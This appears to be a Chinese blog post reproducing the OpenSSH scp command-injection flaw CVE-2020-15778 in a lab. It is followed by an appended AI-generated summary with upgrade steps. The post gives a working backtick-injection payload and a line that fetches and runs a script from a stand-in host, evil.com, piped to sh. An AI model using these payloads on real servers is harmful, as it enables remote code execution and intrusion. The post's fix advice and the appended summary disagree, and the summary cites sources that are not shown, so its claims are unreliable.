OpenSSH_scp命令注入漏洞复现(CVE-2020-15778)

该文章英文简单易懂,虽翻译之,大佬们轻喷
文章首发公众号:striveben

前言

OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令,不过前提是需要知道ssh的登录密码。

OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效保护登录及数据的安全。

SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。

影响范围

OpenSSH <= 8.3p1

原因

使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp SourceFile user@host:directory/TargetFile

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/TargetFile

在这里插入图片描述

问题就出在这个地方,也就是"scp.c"文件的989行,如上图所示。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

复现

环境信息 靶机kali : 172.16.24.151 利用场景 已知靶机ssh密码为123456

先使用scp命令正常发送文件到靶机:

scp ./111.txt test@172.16.24.151:/home/test/test/111

在这里插入图片描述
上图左边为攻击机,执行scp命令,把"111.txt"发送到右边的靶机上。

接下来执行带有payload的scp命令,payload内容为”在远程服务器上创建一个hack.sh文件“,如下:

scp ./111.txt test@172.16.24.151:'`touch /home/test/test/hack.sh`/home/test/test/112

在这里插入图片描述
上图左边的攻击机执行了”向远程服务器创建hack.sh文件“的payload和发送"111.txt"文件,在图右边靶机中接收到了"hack.sh"和"112(也就是重命名后的111.txt)"。

这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。那么攻击者可以使用

wget http://evil.com/exp.sh -O- | sh

命令获取网站的shell。

修复建议

等待官方补丁
加强ssh密码或密钥的保护,周期性更换密码或密钥。
使用rsync代替scp

附原文链接

公号回复“加群”,一起交流技术!

<think>嗯,用户想了解OpenSSHCVE-2020-15778漏洞详情和修复方案。首先,我需要整理这个漏洞的基本信息。根据引用[2]和[3],这个漏洞属于命令注入类型,影响的是scp命令。攻击者可以通过构造恶意文件名,在远程服务器上执行任意命令。要注意的是,即使SSH登录被禁用,只要允许scp传文件,就可能被利用。 接下来,影响版本方面,引用提到是OpenSSH 8.3p1及之前的版本。用户可能需要确认自己使用的版本是否在这个范围内。修复方法的话,引用[4]和[5]指出需要升级到8.8p1版本,并重新编译安装。同时,临时缓解措施包括禁用scp或限制使用反引号。 用户可能还关心漏洞复现的过程,但根据安全建议,详细步骤可能不宜展开,所以需要提醒用户不要尝试复现以免风险。另外,安全更新方面,除了升级OpenSSH,还要更新依赖的OpenSSL库,确保兼容性。 在回答时要注意结构清晰,分点说明漏洞详情、影响版本、修复方案、安全建议等。同时,引用对应的来源,比如引用[1]、[2]、[3]等,确保信息的准确性。还要生成相关问题,帮助用户进一步理解,比如漏洞原理、检测方法、历史案例等。</think>### OpenSSH CVE-2020-15778 漏洞详情及修复方案 #### 漏洞详情 1. **漏洞类型**:命令注入漏洞,攻击者可通过构造恶意文件名在远程服务器执行任意命令[^2][^3]。 2. **影响组件**:OpenSSH 的 `scp` 命令(用于安全文件传输)。 3. **漏洞原理**:`scp` 在处理文件名时未对反引号(` `)进行过滤,导致命令注入。例如,攻击者构造如 `file`\`command\` 的文件名,远程服务器执行时会解析 `command` 并执行[^5]。 4. **利用条件**: - 目标服务器允许使用 `scp` 传输文件。 - 远程服务器支持反引号语法(大多数 Linux 系统默认支持)。 #### 影响版本 - OpenSSH 8.3p1 及之前版本[^3]。 - 常见受影响系统:CentOS、Ubuntu、Debian 等使用旧版 OpenSSH 的 Linux 发行版。 #### 修复方案 1. **官方补丁**: - 升级至 OpenSSH 8.8p1 或更高版本,该版本修复了 `scp` 命令注入漏洞[^4]。 - **操作步骤**: ```bash # 下载并编译新版本 wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.8p1.tar.gz tar -xvf openssh-8.8p1.tar.gz cd openssh-8.8p1 ./configure make && make install ``` 需同时更新依赖库(如 OpenSSL)。 2. **临时缓解措施**: - 禁用 `scp`,改用 `sftp` 或 `rsync` 替代[^1]。 - 限制服务器对反引号的使用(需修改系统配置,可能影响部分功能)。 #### 安全建议 - **验证与监控**:检查服务器是否运行受影响版本,使用命令 `ssh -V` 查看 OpenSSH 版本。 - **最小权限原则**:限制用户对 `scp` 的访问权限。 - **日志审计**:监控服务器日志中异常 `scp` 操作记录。 ---
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

StriveBen

写字不易,给点动力吧

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值